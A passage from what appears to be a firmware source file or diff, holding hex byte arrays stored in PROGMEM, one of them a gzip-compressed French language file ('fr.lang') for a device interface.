0x2e, 0xfa, 0x9e, 0xf9, 0x6a, 0xec, 0x2a, 0xf7, 0xe5, 0xc5, 0x31, 0x57, 0x8c, 0xda, 0xd0, 0x8c, 0x43, 0x6d, 0x6b, 0x43, 0x0b, 0x19, 0x4d, 0xc2, 0xae, 0xa8, 0x34, 0x45, 0x43, 0x68, 0x8e, 0xd1, 0x9b, 0x96, 0x1b, 0xc5, 0xd0, 0xb8, 0x7f, 0x79, 0x68, 0x9d, 0x46, 0x7c, 0x8f, 0x66, 0x3b, 0xd1, 0xea, 0xc3, 0xa8, 0x60, 0x3f, 0xe1, 0x66, 0x51, 0x25, 0x6e, 0x5d, 0x78, 0xac, 0x2e, 0x86, 0xb6, 0x7c, 0xdc, 0x94, 0xaa, 0x80, 0x1d, 0x7b, 0xc8, 0x54, 0xc9, 0x0d, 0x35, 0x43, 0xf3, 0xbd, 0x06, 0xe5, 0xa0, 0x4a, 0xe7, 0xa3, 0x29, 0x37, 0xe9, 0x44, 0x21, 0xc0, 0x0f, 0x10, 0xbe, 0x69, 0x55, 0xd2, 0x81, 0x12, 0xcc, 0x1f, 0x30, 0x79, 0xa0, 0x16, 0xc8, 0x19, 0x91, 0xce, 0x72, 0x5e, 0x33, 0x86, 0x75, 0x31, 0x0b, 0x67, 0x23, 0x66, 0x84, 0xe5, 0xb3, 0xd3, 0x53, 0x51, 0x39, 0x8e, 0x96, 0x2b, 0xf4, 0xc6, 0x55, 0xad, 0xc7, 0xcc, 0x09, 0x3c, 0x99, 0xba, 0x72, 0x35, 0x9a, 0xf9, 0x51, 0x84, 0x71, 0x43, 0x8c, 0x60, 0xe8, 0x48, 0x83, 0x8a, 0xb9, 0x51, 0x43, 0x83, 0x84, 0x1a, 0xb5, 0x8f, 0x7a, 0xf6, 0x8a, 0x37, 0xa4, 0xb8, 0x2d, 0x54, 0xec, 0x9b, 0x71, 0x10, 0xbb, 0xb5, 0x19, 0x26, 0xeb, 0x32, 0x36, 0x89, 0xf4, 0x96, 0x87, 0x3e, 0x35, 0x86, 0xd4, 0x9f, 0x80, 0xd9, 0x3c, 0x06, 0xa6, 0x89, 0xc5, 0xc2, 0xbc, 0xe7, 0xfa, 0x9f, 0x07, 0xa8, 0x4a, 0x9a, 0xfa, 0x28, 0x22, 0xb8, 0xc1, 0x4e, 0xb0, 0xb9, 0xca, 0xed, 0x81, 0x49, 0x4b, 0x72, 0x0e, 0x0f, 0x13, 0x46, 0x3d, 0xe9, 0x00, 0x91, 0xd3, 0x96, 0x85, 0xfa, 0x5c, 0x77, 0xa5, 0x1a, 0xa2, 0xb8, 0x8f, 0x72, 0x66, 0x2c, 0xe1, 0x8f, 0xa4, 0x07, 0xff, 0xeb, 0x95, 0x18, 0x46, 0x5f, 0x03, 0x5b, 0x88, 0xff, 0xe2, 0x77, 0xf0, 0x5f, 0x07, 0xc2, 0x58, 0xbb, 0x75, 0x85, 0x56, 0xa5, 0x66, 0xd7, 0x4d, 0xa7, 0x9f, 0xfc, 0x25, 0x91, 0x91, 0xd0, 0xff, 0xa0, 0x94, 0xa1, 0x2e, 0xfe, 0xf4, 0xfc, 0xd9, 0x7f, 0x9e, 0xfd, 0x17, 0x7e, 0xeb, 0xb3, 0x6d, 0x54, 0x1c, 0x00, 0x00}; +const char frlang[] PROGMEM = {0x1f, 0x8b, 0x08, 0x08, 0xb6, 0x41, 0xf9, 0x5b, 0x02, 0xff, 0x66, 0x72, 0x2e, 0x6c, 0x61, 0x6e, 0x67, 0x00, 0xad, 0x59, 0xcb, 0x6e, 0x1c, 0xc7, 0x15, 0xdd, 0xeb, 0x2b, 0x4a, 0xdc, 0x8c, 0x0d, 0x50, 0x13, 0x4a, 0x8e, 0x0d, 0x45, 0x41, 0x16, 0xb4, 0x44, 0x19, 0xb4, 0x29, 0x9a, 0x20, 0xe9, 0x38, 0x0b, 0x02, 0x44, 0x4d, 0x4f, 0x0d, 0x59, 0x52, 0xbf, 0x54, 0xd5, 0x35, 0xa4, 0x15, 0x04, 0xf0, 0xd6, 0x9f, 0x90, 0x5d, 0x96, 0x66, 0x16, 0xf9, 0x89, 0xf9, 0x93, 0x7c, 0x49, 0xce, 0xb9, 0xb7, 0xba, 0xa7, 0x67, 0x48, 0x59, 0x08, 0x92, 0xd5, 0xcc, 0x54, 0x57, 0xdf, 0xba, 0xcf, 0x73, 0xcf, 0xad, 0xf9, 0xeb, 0x23, 0x63, 0x76, 0x4a, 0x5b, 0x5f, 0xed, 0xbc, 0x30, 0x3b, 0x8b, 0xb0, 0xb3, 0xcb, 0xdf, 0x37, 0x36, 0xd4, 0x5e, 0x97, 0xf6, 0xcf, 0xcf, 0x0f, 0x8e, 0xcf, 0x0f, 0xbf, 0x3f, 0xd6, 0x27, 0x73, 0x1f, 0x8b, 0xd2, 0xfa, 0xca, 0x05, 0x3e, 0x7c, 0xe9, 0x4c, 0x1b, 0x9a, 0xb7, 0xae, 0x33, 0x2e, 0x76, 0x26, 0xd5, 0xfc, 0xe9, 0xd2, 0xd2, 0x99, 0xb9, 0x33, 0x45, 0x53, 0x17, 0xae, 0xed, 0xf0, 0x35, 0x76, 0xbe, 0x5e, 0xdd, 0x39, 0x63, 0x4d, 0x39, 0x49, 0xd1, 0x5e, 0x39, 0xb3, 0xba, 0x9b, 0xa7, 0xc2, 0x76, 0x7e, 0x31, 0xbd, 0xa8, 0x8f, 0x3d, 0x96, 0x0f, 0xce, 0x4e, 0x9e, 0x3f, 0xfb, 0xea, 0x2b, 0x53, 0xe3, 0x87, 0x33, 0x67, 0xaf, 0xbe, 0x33, 0x90, 0x15, 0x9b, 0xba, 0x33, 0xbe, 0xf6, 0x9d, 0xb7, 0xa5, 0xab, 0x1c, 0x7e, 0xb4, 0x61, 0x75, 0xb7, 0x4c, 0xd1, 0xb4, 0x4d, 0x0a, 0xa6, 0x70, 0x5d, 0xe7, 0x4c, 0xea, 0x7c, 0xe9, 0x23, 0x64, 0x35, 0xf5, 0xd4, 0x7c, 0x63, 0x03, 0x8e, 0x49, 0xb7, 0x66, 0x96, 0xae, 0xa2, 0x79, 0x7c, 0x51, 0x5f, 0xd4, 0xab, 0x9f, 0x4d, 0x3d, 0xd1, 0x4d, 0x2e, 0x98, 0xf7, 0x69, 0x62, 0x97, 0xae, 0x30, 0xcb, 0xa6, 0xc3, 0x4e, 0x48, 0x8b, 0xce, 0x26, 0x88, 0xf5, 0xcb, 0xd5, 0x9d, 0x81, 0x19, 0x11, 0x72, 0x97, 0x4d, 0xa4, 0x55, 0xb0, 0x24, 0x1a, 0xdb, 0xb6, 0x10, 0xe9, 0xcb, 0x2c, 0x6c, 0x6d, 0x6f, 0x96, 0x48, 0xeb, 0x4c, 0x17, 0x6c, 0x85, 0x8f, 0x1f, 0xfd, 0x6b, 0x6f, 0x96, 0xb6, 0xf4, 0xb2, 0xe6, 0xca, 0x12, 0x1f, 0xef, 0x13, 0xb6, 0xac, 0xee, 0x8a, 0xe0, 0x3b, 0xfc, 0x9a, 0xdb, 0x3a, 0xd2, 0xbe, 0xd8, 0xd9, 0x7a, 0x6e, 0xc3, 0xdc, 0x1c, 0x1e, 0x1c, 0x1c, 0x98, 0xe7, 0x7b, 0xcf, 0xa6, 0x4f, 0x9f, 0xfe, 0x11, 0xee, 0xa9, 0x9b, 0x2e, 0xeb, 0x98, 0x8a, 0x54, 0x9b, 0x59, 0xd9, 0x14, 0xf4, 0x56, 0x93, 0xcc, 0x2c, 0x34, 0xc9, 0x97, 0x25, 0x7f, 0xd5, 0x13, 0xfa, 0xda, 0x2d, 0x16, 0xae, 0xe8, 0x12, 0xb4, 0xa6, 0xca, 0x3c, 0x6a, 0x01, 0x6b, 0x70, 0x1c, 0x9c, 0x1e, 0xb3, 0x76, 0xf0, 0x79, 0x84, 0x83, 0xff, 0x0c, 0xfd, 0x4b, 0xf7, 0xc1, 0xac, 0xfe, 0x61, 0x66, 0xde, 0xd5, 0x06, 0xa6, 0x06, 0xbf, 0xf0, 0x4e, 0x5f, 0x2b, 0x1b, 0x1f, 0x0d, 0x57, 0xfd, 0x55, 0x72, 0x10, 0x25, 0x3a, 0xaa, 0x7b, 0x5a, 0xfb, 0x13, 0x3c, 0xb0, 0xb4, 0x35, 0x83, 0x88, 0xb5, 0x24, 0x1b, 0xe1, 0xc6, 0xa5, 0x0f, 0x53, 0xba, 0xe3, 0x18, 0xfa, 0xbe, 0x40, 0x1c, 0xe0, 0xf0, 0xf7, 0xc9, 0x63, 0x7f, 0x28, 0x9d, 0x6e, 0x2e, 0xd6, 0x89, 0x51, 0x9b, 0x8e, 0x12, 0xe8, 0x89, 0x8b, 0x9d, 0x6c, 0x07, 0x0e, 0xba, 0xd8, 0xa1, 0x5d, 0x17, 0x3b, 0x6f, 0x6d, 0x85, 0x64, 0xd2, 0x5f, 0x14, 0x52, 0x34, 0xad, 0xa7, 0x90, 0x52, 0x32, 0xa8, 0x73, 0x75, 0x32, 0x91, 0x2a, 0x2d, 0x10, 0xf2, 0xda, 0x43, 0xbf, 0x89, 0xbb, 0x6d, 0x4b, 0x5f, 0x48, 0xc4, 0x23, 0xd3, 0x64, 0xd1, 0x64, 0xf1, 0x38, 0x11, 0xb9, 0x47, 0xb3, 0x60, 0x47, 0x05, 0xaf, 0x37, 0x75, 0x6d, 0x7d, 0xc4, 0xeb, 0x50, 0x47, 0xdd, 0x84, 0x0f, 0x2a, 0x85, 0xb3, 0xb8, 0x29, 0x22, 0xbb, 0x70, 0x82, 0x4a, 0x82, 0xd6, 0x57, 0xab, 0x3b, 0x24, 0x6a, 0x80, 0x08, 0x09, 0xa1, 0xef, 0x98, 0x02, 0x6d, 0xea, 0x6c, 0x81, 0x03, 0x55, 0x0d, 0xac, 0xb4, 0x70, 0x3c, 0x4f, 0xb1, 0x9a, 0x25, 0x7e, 0x75, 0xd7, 0x21, 0x0c, 0x94, 0x04, 0xc3, 0x10, 0x13, 0x7e, 0xec, 0xf2, 0x71, 0xd1, 0x54, 0x55, 0xaa, 0x6d, 0xe2, 0x63, 0x9e, 0x38, 0x41, 0xd0, 0x9a, 0xd0, 0x65, 0x53, 0x34, 0x89, 0x9b, 0x19, 0x14, 0x80, 0x59, 0x08, 0x77, 0xe5, 0xd4, 0x33, 0xeb, 0xf4, 0x60, 0x46, 0x89, 0xa3, 0x4f, 0xb8, 0xb5, 0x2d, 0x11, 0x80, 0xf9, 0xc4, 0xd7, 0x10, 0x52, 0x65, 0xf3, 0xc7, 0x56, 0xed, 0x42, 0xb9, 0x7a, 0xee, 0x3e, 0x3c, 0x91, 0x48, 0xe1, 0xc9, 0x8b, 0xed, 0x92, 0x7d, 0x32, 0x4b, 0x5d, 0xd7, 0xd4, 0xac, 0xdc, 0x6f, 0x27, 0x16, 0xa5, 0x96, 0x98, 0xf3, 0x50, 0x13, 0x56, 0x48, 0x62, 0x76, 0xee, 0x16, 0x25, 0x55, 0xf8, 0x27, 0xb0, 0x3f, 0xa6, 0xa8, 0xef, 0x07, 0x57, 0x36, 0x76, 0xce, 0x97, 0x4e, 0xed, 0x22, 0xd8, 0xd5, 0xbf, 0x8a, 0x6b, 0x9f, 0x71, 0x22, 0x16, 0x56, 0xa4, 0x9d, 0xe1, 0xb3, 0x76, 0xfd, 0x62, 0xf4, 0xf3, 0x28, 0xab, 0x67, 0x87, 0xaf, 0xb2, 0x0c, 0xdb, 0xc1, 0x89, 0xef, 0x64, 0x75, 0x1f, 0x5f, 0x11, 0xad, 0xfc, 0x20, 0xa2, 0x88, 0x81, 0x34, 0xf2, 0xe4, 0xc4, 0xa2, 0x90, 0x56, 0xbf, 0xd2, 0xeb, 0xfa, 0x90, 0xa6, 0xf2, 0xc1, 0x21, 0x3f, 0x87, 0x95, 0xcb, 0xd8, 0xea, 0xa9, 0x87, 0xc7, 0xaf, 0xbf, 0xc7, 0x87, 0x1e, 0x50, 0x96, 0x5c, 0x3a, 0x6f, 0x7a, 0xad, 0x8b, 0x6b, 0xaa, 0x24, 0x8b, 0x2f, 0xf3, 0x57, 0xf5, 0x86, 0x5b, 0x7a, 0x94, 0x88, 0x68, 0x32, 0x14, 0xb7, 0xab, 0x83, 0xbb, 0xf2, 0xb1, 0x23, 0x20, 0xf4, 0x7a, 0x31, 0x96, 0x97, 0x6b, 0xb1, 0xc0, 0x86, 0xd5, 0x1d, 0xd7, 0xe0, 0xf7, 0xc1, 0x54, 0xb8, 0xe9, 0xfe, 0x3e, 0xd4, 0xfb, 0x03, 0x5b, 0x83, 0xab, 0x9a, 0xa5, 0xdb, 0x14, 0x98, 0x5a, 0x38, 0xbe, 0x1a, 0xfc, 0xd6, 0x49, 0x50, 0x2f, 0xe9, 0xd4, 0xcb, 0x0e, 0xeb, 0xdc, 0xf8, 0x2a, 0x05, 0x42, 0xe7, 0x3c, 0x19, 0xfa, 0x98, 0x49, 0x7a, 0xa6, 0xdb, 0xb2, 0x9e, 0xb5, 0xbb, 0xe1, 0xb6, 0x63, 0x66, 0xbe, 0x4d, 0x59, 0x10, 0x20, 0x8e, 0x8b, 0x07, 0xbd, 0x55, 0xfd, 0x09, 0x76, 0x2e, 0x61, 0xdc, 0x7f, 0x8b, 0xd3, 0x47, 0x6b, 0x97, 0x6a, 0x84, 0x93, 0x87, 0x2f, 0xcb, 0xa6, 0xce, 0xd0, 0xb0, 0x7f, 0x92, 0x0f, 0x81, 0xe2, 0xe1, 0x86, 0x10, 0xc6, 0x0d, 0xab, 0x5f, 0x8a, 0x60, 0x63, 0xff, 0x3a, 0xf5, 0xbc, 0x64, 0xee, 0x07, 0x20, 0x9f, 0xc6, 0x4a, 0xbf, 0x97, 0x2e, 0x2b, 0x98, 0xaa, 0x99, 0x36, 0x8b, 0xe3, 0xa6, 0x9a, 0x85, 0xbc, 0xda, 0xd9, 0x70, 0xe5, 0x3a, 0x89, 0xc2, 0x4b, 0x3f, 0x2b, 0x87, 0x6c, 0xa0, 0xe9, 0x7d, 0xd4, 0x9f, 0x98, 0x97, 0xa5, 0x47, 0xa6, 0x04, 0xc9, 0xf2, 0x8b, 0x3e, 0xc9, 0x00, 0x15, 0x48, 0x5a, 0x24, 0x14, 0x92, 0x1d, 0x20, 0xf5, 0x36, 0x45, 0x00, 0x26, 0xb0, 0x0d, 0x35, 0x4e, 0x10, 0x40, 0xdd, 0x1d, 0x1d, 0xbc, 0x02, 0x76, 0x3a, 0xfc, 0x88, 0x13, 0x14, 0xa7, 0xf3, 0x57, 0xb5, 0x80, 0x68, 0x6b, 0x63, 0x64, 0x7b, 0x30, 0x30, 0x07, 0xd5, 0xd2, 0x26, 0x24, 0x7d, 0xb1, 0x71, 0xc4, 0x28, 0xc1, 0x2f, 0x76, 0x50, 0x79, 0x4f, 0xcc, 0xd1, 0x44, 0x8c, 0x5b, 0x58, 0x88, 0xbf, 0x71, 0x33, 0xa2, 0x9f, 0x45, 0xad, 0xdb, 0x02, 0x39, 0x14, 0xa9, 0xb9, 0x69, 0xa1, 0x87, 0x55, 0xc0, 0x8a, 0x1a, 0xa2, 0x68, 0x72, 0x28, 0x23, 0x35, 0xf5, 0xa5, 0x59, 0xd8, 0x34, 0x0f, 0x02, 0x17, 0x33, 0x3b, 0xcb, 0xad, 0x2c, 0x38, 0xc2, 0x53, 0x86, 0x12, 0xa7, 0xcd, 0xe3, 0x31, 0x4f, 0x3c, 0x76, 0x9b, 0x99, 0xc6, 0x7e, 0xc0, 0xce, 0x1a, 0x5d, 0x22, 0x26, 0xca, 0x99, 0xd8, 0x38, 0xaa, 0xb5, 0x91, 0xc7, 0x8e, 0x70, 0x38, 0xcb, 0x4e, 0x61, 0x5c, 0x3b, 0x24, 0x3a, 0x41, 0x97, 0x9b, 0x69, 0xdf, 0x17, 0x72, 0x07, 0x65, 0x90, 0xe7, 0x44, 0xef, 0xaa, 0xa1, 0xd6, 0xf3, 0x89, 0xcd, 0xb5, 0x69, 0xbe, 0xb6, 0xd2, 0xdd, 0xa0, 0xfe, 0x59, 0x03, 0x4c, 0x11, 0x57, 0xa0, 0x8c, 0xe8, 0x60, 0x11, 0xdf, 0xba, 0xd4, 0x65, 0x7c, 0x06, 0x78, 0x0d, 0x31, 0xf8, 0xe2, 0x99, 0x29, 0x50, 0xc4, 0x45, 0xb7, 0xfa, 0x35, 0x48, 0xef, 0x11, 0x73, 0xe0, 0x77, 0xb8, 0x7f, 0x56, 0xb2, 0xe5, 0xcc, 0xff, 0xfd, 0xf3, 0xdf, 0xdd, 0x3a, 0x2f, 0xd1, 0x60, 0xc3, 0xea, 0x57, 0x60, 0x0f, 0x02, 0x35, 0xf7, 0xb4, 0xd8, 0xbc, 0xf8, 0x9c, 0xaf, 0x1d, 0x8a, 0xd7, 0xe0, 0xa6, 0x75, 0x44, 0xfa, 0xbd, 0x76, 0xd9, 0xe0, 0x47, 0x81, 0x3c, 0x05, 0xae, 0x02, 0x37, 0xa9, 0xd0, 0xb4, 0x77, 0x88, 0x02, 0xcd, 0xc8, 0x23, 0xac, 0x34, 0x67, 0xb2, 0x61, 0xaa, 0x37, 0x1b, 0x32, 0x1a, 0x55, 0x71, 0xed, 0x82, 0x70, 0x96, 0xb9, 0xb6, 0x0a, 0x77, 0xcb, 0xe3, 0x1f, 0x8f, 0x4f, 0xdf, 0x0c, 0x04, 0xf7, 0xaa, 0xff, 0xd5, 0x7b, 0xbd, 0xbb, 0xe0, 0x43, 0x6c, 0xbe, 0x9e, 0x8e, 0xdf, 0x44, 0x96, 0x55, 0x8d, 0x47, 0x0c, 0xb2, 0x82, 0x63, 0x88, 0xd1, 0xd7, 0x25, 0x59, 0xe1, 0xea, 0x2d, 0xdf, 0x6f, 0xbb, 0x9e, 0xed, 0x2d, 0x6b, 0x50, 0x77, 0x1a, 0x87, 0x51, 0xca, 0x8e, 0x12, 0x56, 0xa5, 0x56, 0x08, 0x39, 0xaa, 0x02, 0xb1, 0x78, 0xab, 0x11, 0x46, 0xf7, 0x45, 0x80, 0xe7, 0x8c, 0x02, 0xde, 0xea, 0xe2, 0xe0, 0xa9, 0x1e, 0x79, 0xc7, 0xf5, 0x86, 0xba, 0xb0, 0x54, 0x9a, 0xe0, 0x79, 0x25, 0x79, 0x1a, 0xf5, 0xd5, 0x01, 0x98, 0x0d, 0x9c, 0x2e, 0xa9, 0xdf, 0xe5, 0x4e, 0x8f, 0xee, 0xc0, 0xfe, 0x2a, 0xee, 0xc8, 0x78, 0x2a, 0x5a, 0x9e, 0xb8, 0x3a, 0x2a, 0xe9, 0x18, 0x97, 0xd8, 0x08, 0x92, 0x06, 0x45, 0x04, 0xd3, 0x37, 0x79, 0xe5, 0x41, 0x8d, 0x3c, 0xa2, 0x53, 0x5c, 0x08, 0xec, 0x88, 0x28, 0x38, 0xa9, 0xf7, 0xc4, 0xc6, 0xea, 0xe0, 0x32, 0x90, 0x42, 0xe9, 0x94, 0xa4, 0x32, 0x39, 0xaa, 0x03, 0x41, 0x70, 0x42, 0x13, 0x0b, 0xef, 0x52, 0x74, 0xec, 0xf0, 0xa3, 0x76, 0x49, 0xe0, 0x00, 0x3d, 0x0b, 0x0c, 0xcf, 0xdc, 0x81, 0x24, 0x4e, 0x07, 0xe8, 0x0d, 0xdd, 0x65, 0xec, 0x9a, 0x56, 0x30, 0x77, 0xf5, 0xcb, 0x9b, 0xfd, 0xd3, 0xd3, 0x83, 0x53, 0xf3, 0x3b, 0x73, 0x76, 0xfe, 0xfd, 0xc9, 0xc9, 0xc1, 0xe9, 0x68, 0xdb, 0xc6, 0x8e, 0x7e, 0x5d, 0x5f, 0xdc, 0xd8, 0x7c, 0x03, 0x8e, 0x75, 0xd9, 0x2c, 0x16, 0x7c, 0x20, 0xd5, 0x6d, 0x43, 0x58, 0xfd, 0x13, 0x5c, 0xa0, 0xef, 0x07, 0xb3, 0xa6, 0x11, 0x61, 0xa7, 0xf8, 0xb6, 0xc6, 0x63, 0xf8, 0xd8, 0xe5, 0xe5, 0x8a, 0x79, 0x00, 0x07, 0x7e, 0x80, 0x95, 0xb9, 0xff, 0xb9, 0x9a, 0x00, 0x72, 0x19, 0x40, 0x10, 0x9a, 0x4a, 0xb0, 0x1c, 0xb9, 0xa1, 0x9c, 0x47, 0x12, 0x09, 0x69, 0xd6, 0x81, 0x94, 0xd0, 0xe1, 0x43, 0xf3, 0xdf, 0x7a, 0xe3, 0x15, 0xca, 0xdf, 0x7e, 0xe2, 0x2d, 0xdd, 0x7d, 0x89, 0xc4, 0x2c, 0xf2, 0x2b, 0x08, 0x0e, 0xd2, 0x0a, 0xc9, 0xac, 0x68, 0x32, 0xcf, 0x38, 0x00, 0x3f, 0x5e, 0xdb, 0x48, 0xae, 0x02, 0xd7, 0x42, 0x55, 0x3f, 0xa0, 0x3f, 0xc9, 0xf5, 0x55, 0x62, 0xcd, 0x4f, 0xfb, 0x5e, 0xc9, 0x22, 0x19, 0x64, 0xbe, 0x6e, 0x42, 0x21, 0x68, 0xbd, 0x70, 0x01, 0x49, 0x9b, 0x82, 0x72, 0xe9, 0x35, 0xe1, 0x16, 0x9f, 0x8d, 0x0a, 0x90, 0xa8, 0x05, 0x32, 0xe9, 0xea, 0x65, 0xf3, 0x93, 0x52, 0xd2, 0x81, 0x79, 0xcf, 0xa5, 0x86, 0x23, 0xe5, 0x93, 0xcd, 0x2d, 0x32, 0x3b, 0x94, 0x49, 0xa0, 0x45, 0x15, 0x32, 0x8b, 0x81, 0x3b, 0x00, 0x6d, 0xc1, 0x8f, 0x04, 0x3b, 0x4b, 0xc3, 0x33, 0x04, 0x14, 0x33, 0x0e, 0x43, 0xc0, 0x94, 0x0c, 0x9f, 0x90, 0x89, 0xf4, 0x4e, 0x2a, 0x02, 0x6c, 0xfb, 0x56, 0x2c, 0x16, 0xf4, 0xb0, 0x61, 0xdd, 0x65, 0x2a, 0xfb, 0xb6, 0x41, 0x4f, 0x44, 0x39, 0x3f, 0xa0, 0xb7, 0x15, 0x1e, 0x88, 0x6a, 0x99, 0xf8, 0xaa, 0x2d, 0x57, 0x77, 0x2c, 0x25, 0x19, 0x60, 0xec, 0xe6, 0x00, 0xa0, 0xdc, 0xff, 0xe6, 0xc9, 0xb3, 0xbd, 0xbd, 0x3f, 0x08, 0xfd, 0x45, 0xc2, 0x88, 0x9f, 0x85, 0xcd, 0x76, 0x6a, 0xba, 0x00, 0x6d, 0x10, 0x52, 0x7d, 0x45, 0x18, 0x59, 0x83, 0x85, 0x54, 0xda, 0x7e, 0x97, 0x39, 0x2c, 0x27, 0x88, 0x4f, 0x37, 0x8f, 0x5d, 0x25, 0xb2, 0xef, 0x53, 0xe3, 0x95, 0xd3, 0xb7, 0x2e, 0xa0, 0x91, 0x7e, 0x30, 0xd9, 0x3d, 0x88, 0x62, 0xb9, 0xd5, 0xf4, 0x58, 0xc4, 0x36, 0xe5, 0x69, 0x87, 0x6e, 0x66, 0x59, 0x11, 0x05, 0x2c, 0x5d, 0xeb, 0x44, 0x39, 0xe9, 0x25, 0x7e, 0xb1, 0x20, 0x7f, 0xe6, 0x6a, 0xe6, 0x5f, 0x6b, 0xbc, 0x99, 0x39, 0x0b, 0x3b, 0x86, 0xf8, 0xff, 0x50, 0x67, 0x44, 0x32, 0x93, 0x99, 0x20, 0xde, 0x44, 0x66, 0xc8, 0x4c, 0xc1, 0xfb, 0x81, 0xaf, 0x6f, 0x58, 0x0a, 0x6e, 0x90, 0xd8, 0x64, 0xac, 0xd1, 0xa8, 0x90, 0xd8, 0xcf, 0x61, 0xa0, 0x46, 0x79, 0x14, 0xe4, 0x29, 0x1a, 0x37, 0x33, 0xc5, 0xaf, 0x15, 0x1d, 0x61, 0xa0, 0xd1, 0x13, 0x69, 0x39, 0x52, 0x8f, 0x0f, 0x16, 0xd6, 0xd3, 0xc1, 0xa1, 0xf1, 0x0a, 0x9e, 0x64, 0xef, 0x48, 0x60, 0xcd, 0x01, 0x8c, 0xa0, 0x74, 0x47, 0x00, 0x4f, 0x4e, 0x3a, 0xda, 0xc2, 0xd6, 0x3c, 0x3b, 0xde, 0xf6, 0x24, 0x9d, 0x9d, 0xb7, 0x6e, 0xaa, 0x78, 0xef, 0x79, 0xcb, 0x81, 0x18, 0xc7, 0xa3, 0xf6, 0x21, 0x3b, 0xb6, 0x84, 0xa6, 0x85, 0x67, 0x36, 0xeb, 0x38, 0x68, 0x11, 0x1c, 0x0d, 0xb3, 0xf0, 0xe5, 0x5c, 0x2d, 0xe4, 0x0a, 0x6e, 0x70, 0xd6, 0x91, 0x24, 0x79, 0x85, 0xa4, 0xd1, 0x6c, 0x8f, 0x8d, 0x7c, 0x93, 0xf4, 0x1d, 0x26, 0x41, 0xce, 0x2a, 0x76, 0x8c, 0xc3, 0x44, 0x5e, 0x9e, 0x6c, 0x17, 0x5e, 0x98, 0x63, 0x96, 0x00, 0xd8, 0xf4, 0xac, 0xe4, 0x7e, 0xfa, 0x65, 0xfe, 0x27, 0x71, 0x3e, 0x0e, 0x45, 0x53, 0x1c, 0xaa, 0x60, 0xa3, 0x69, 0x46, 0x04, 0x24, 0xe8, 0x54, 0x53, 0x2f, 0x52, 0xd4, 0xf2, 0xd2, 0x86, 0x4c, 0x55, 0x6e, 0x70, 0xf2, 0x8d, 0x2d, 0xdf, 0xb9, 0xc0, 0x5e, 0x8f, 0x47, 0xdd, 0xe6, 0xf8, 0x8c, 0xe3, 0x51, 0xac, 0xc5, 0x3b, 0x74, 0x1c, 0xf1, 0xd8, 0x2e, 0x01, 0x43, 0x04, 0xab, 0x5f, 0x10, 0x8a, 0xc8, 0x71, 0x4d, 0xc7, 0x56, 0x99, 0x33, 0xb3, 0xa7, 0x18, 0x3a, 0xa6, 0xf0, 0x06, 0xf0, 0x30, 0xad, 0x0e, 0x88, 0x32, 0x54, 0xbb, 0x13, 0x2d, 0x20, 0xcc, 0xa0, 0xd8, 0x50, 0x79, 0x78, 0xc3, 0x0d, 0x63, 0xf1, 0x10, 0x07, 0x00, 0x1a, 0x6f, 0x22, 0x48, 0x6f, 0xa6, 0x1b, 0x1d, 0xf0, 0x12, 0x48, 0x48, 0x7b, 0x84, 0xa3, 0xa6, 0x8a, 0x60, 0x2b, 0xf3, 0xae, 0xae, 0x42, 0xd1, 0xdb, 0x17, 0x66, 0xf9, 0x6c, 0xba, 0x37, 0xd5, 0xf9, 0x7f, 0xe8, 0x85, 0x2c, 0xb6, 0x91, 0x05, 0xd2, 0x33, 0x91, 0xa9, 0xa8, 0x38, 0x68, 0x4f, 0x7a, 0x57, 0xb5, 0xbe, 0xb4, 0xfd, 0x28, 0x0b, 0x12, 0xb5, 0x79, 0x2a, 0xa9, 0x9b, 0xc6, 0x36, 0x33, 0xb6, 0x74, 0x2f, 0x8b, 0xb7, 0xd2, 0x7f, 0xbb, 0x2c, 0x3f, 0x8b, 0x02, 0x34, 0xbc, 0xbb, 0x70, 0x9f, 0xd3, 0x21, 0x52, 0x88, 0x4f, 0xe9, 0xd9, 0x2f, 0x9e, 0x8e, 0x89, 0xd8, 0x2e, 0xc0, 0xea, 0xd6, 0x57, 0xa9, 0x32, 0xcf, 0x0d, 0xb0, 0xa8, 0x79, 0xeb, 0xb7, 0x5d, 0x40, 0x6a, 0x7c, 0xd3, 0x84, 0x5e, 0xa1, 0xaa, 0xc9, 0xe5, 0x42, 0xc2, 0xfc, 0xff, 0x52, 0xec, 0xf9, 0x7d, 0xc5, 0xb6, 0xb4, 0x18, 0xcd, 0x6c, 0x47, 0xae, 0x47, 0x10, 0x05, 0x54, 0x66, 0x36, 0x30, 0xbe, 0xe7, 0x56, 0xf8, 0x5a, 0xa1, 0x9f, 0xda, 0xab, 0x6d, 0xaf, 0x5e, 0xfb, 0xf9, 0xdc, 0x49, 0x28, 0xdf, 0xd8, 0xa8, 0x14, 0xeb, 0xbe, 0xf6, 0x04, 0x5a, 0xb9, 0xb0, 0xfa, 0x2f, 0xac, 0xd8, 0xd2, 0xd4, 0xb6, 0xec, 0xa0, 0x27, 0x18, 0xe7, 0x75, 0xec, 0xd1, 0x3e, 0xac, 0xa7, 0x91, 0x44, 0xa1, 0xf8, 0xb8, 0x65, 0xd1, 0x13, 0xed, 0xfb, 0x4a, 0x8c, 0xc4, 0x6f, 0x4b, 0x87, 0x91, 0x4d, 0x3f, 0xc4, 0xf5, 0x82, 0x27, 0x6b, 0xd6, 0x2c, 0xc8, 0xc8, 0x3d, 0xa4, 0x35, 0xca, 0x3f, 0x95, 0xf5, 0x0b, 0xc1, 0x51, 0x10, 0x9a, 0x8c, 0x4a, 0x4f, 0x6f, 0x9d, 0xe2, 0x98, 0xc6, 0x7d, 0xe4, 0xc0, 0x7e, 0xea, 0x5c, 0x0f, 0x71, 0x52, 0xb8, 0xae, 0x6a, 0x7b, 0x98, 0x97, 0x71, 0x61, 0x53, 0x95, 0x38, 0xd6, 0x05, 0x76, 0x21, 0xfb, 0x2b, 0x5f, 0x12, 0x60, 0x0b, 0x81, 0xa9, 0x6d, 0xeb, 0x40, 0x49, 0xda, 0xd2, 0xfe, 0xb4, 0x61, 0x1c, 0xaf, 0xc8, 0x6c, 0xfd, 0xf0, 0xc6, 0x73, 0x28, 0x05, 0x82, 0x24, 0x63, 0xb3, 0x68, 0xc2, 0x3b, 0x10, 0xf1, 0x9c, 0x74, 0x5f, 0xbd, 0xa0, 0x92, 0x50, 0x67, 0x31, 0xd2, 0x05, 0xd7, 0x93, 0xdf, 0x48, 0x3b, 0xf1, 0xdc, 0x67, 0x72, 0x89, 0xd5, 0xeb, 0x76, 0x51, 0x9f, 0x92, 0xa9, 0x72, 0x67, 0x30, 0x7b, 0x1a, 0xae, 0xf9, 0x9a, 0x22, 0x6d, 0x17, 0xad, 0x0b, 0x7e, 0x33, 0xe0, 0xa3, 0xa4, 0x51, 0x36, 0x0a, 